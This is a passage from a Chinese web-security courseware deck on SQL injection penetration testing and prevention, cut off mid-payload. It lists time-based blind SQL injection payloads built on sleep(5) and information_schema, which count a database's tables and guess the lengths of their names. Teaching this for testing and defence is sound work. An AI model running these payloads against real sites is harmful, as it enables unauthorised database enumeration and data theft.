Web安全与防护 课件 电子单元 3 SQL注入漏洞渗透测试与防范.ppt

Web安全与防护 课件 电子单元 3 SQL注入漏洞渗透测试与防范.ppt

步骤五、猜解指定数据库中的表名 首先猜解各个表中字段的数量,然后猜解各个字段中字段的长度,再猜解字段名中的各个字母 1)猜解数据库中表的数量 1 and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)# 没有延迟 1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)# 明显延迟 说明数据库中有两个表。 步骤五、猜解指定数据库中的表名 2)猜解数据库表名的长度 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟 … 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0

文档评论(0)

1亿VIP精品文档

相关文档